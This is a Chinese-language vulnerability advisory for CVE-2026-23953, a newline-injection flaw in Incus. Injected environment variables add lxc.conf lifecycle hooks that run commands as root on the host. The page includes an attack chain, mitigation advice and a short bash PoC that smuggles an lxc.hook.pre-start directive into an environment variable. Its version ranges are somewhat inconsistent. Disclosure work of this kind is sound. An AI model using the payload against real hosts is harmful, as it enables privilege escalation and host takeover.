IPBUF安全漏洞报告
English
CVE-2026-23953 CVSS 8.7 高危

CVE-2026-23953 Incus容器换行注入导致宿主机任意命令执行

披露日期: 2026-01-22

漏洞信息

漏洞编号
CVE-2026-23953
漏洞类型
换行注入/命令注入/任意命令执行
CVSS评分
8.7 高危
攻击向量
邻接 (AV:A)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Incus

相关标签

Incus容器安全换行注入命令注入任意命令执行LXClxc.conf生命周期钩子权限提升高危漏洞

漏洞概述

Incus是一个系统容器和虚拟机管理器。在6.20.0及以下版本中,具有创建容器权限的用户(如incus组成员)可以通过自定义YAML配置创建包含换行符的环境变量。由于缺乏对环境变量中换行符的过滤,攻击者可以利用换行注入技术在容器的lxc.conf配置文件中添加额外的配置项。通过添加任意生命周期钩子(lifecycle hooks),攻击者最终可以在宿主机上执行任意命令。该漏洞的CVSS评分为8.7,属于高危漏洞。攻击者只需要较低权限即可发起攻击,无需用户交互。成功利用此漏洞可导致宿主机的完全沦陷,造成机密性完全破坏和完整性完全破坏。

技术细节

漏洞根源在于Incus处理容器环境变量时未对换行符进行适当过滤。在internal/server/instance/drivers/driver_lxc.go第1081行附近,代码将用户提供的环境变量直接写入lxc.conf配置文件。攻击者通过在环境变量值中插入换行符(\n),可以将多个配置指令注入到lxc.conf中。具体来说,攻击者可以添加lxc.hook.pre-start、lxc.hook.post-stop等生命周期钩子配置,这些钩子会在容器启动或停止时以root权限在宿主机上执行任意命令。由于lxc.conf的解析器会将换行符作为配置项的分隔符,攻击者可以利用这一特性绕过配置验证机制。值得注意的是,在IncusOS上利用此漏洞需要稍微修改payload,将工作目录改为可写目录(如/tmp)以通过验证步骤。

攻击链分析

STEP 1
步骤1
攻击者获得incus组用户权限或具有创建容器的能力
STEP 2
步骤2
攻击者创建一个自定义YAML配置文件,在环境变量值中注入换行符
STEP 3
步骤3
通过换行符注入,在lxc.conf中添加lxc.hook.pre-start等生命周期钩子配置
STEP 4
步骤4
Incus在容器启动时解析lxc.conf,执行攻击者注入的钩子命令
STEP 5
步骤5
钩子以root权限在宿主机上执行任意命令,实现对宿主机的完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-23953 PoC - Incus newline injection leading to arbitrary command execution # This PoC demonstrates environment variable newline injection in Incus containers INCUS_CMD="incus" CONTAINER_NAME="cve-2026-23953-poc" # Create a malicious environment variable with newline injection # The newline allows adding arbitrary lxc.conf directives MALICIOUS_ENV_VAR="env:MALICIOUS=$(printf 'INJECTED\\nlxc.hook.pre-start=/tmp/pwned.sh')" echo "[*] Creating container with malicious environment variable..." $INCUS_CMD launch images:ubuntu/22.04 $CONTAINER_NAME -c "$MALICIOUS_ENV_VAR" 2>/dev/null echo "[*] Container should execute arbitrary command via pre-start hook" echo "[*] Check /tmp/pwned.sh on host for command execution" # Cleanup # $INCUS_CMD delete -f $CONTAINER_NAME 2>/dev/null

影响范围

Incus < 6.0.6
Incus < 6.21.0
Incus <= 6.20.0

防御指南

临时缓解措施
目前官方尚未发布修复版本。作为临时缓解措施,应立即撤销非必要用户的incus组成员资格,限制只有完全可信的用户才能创建和管理容器。同时建议实施容器运行时的安全监控,检测异常的容器启动行为和可疑的宿主命令执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表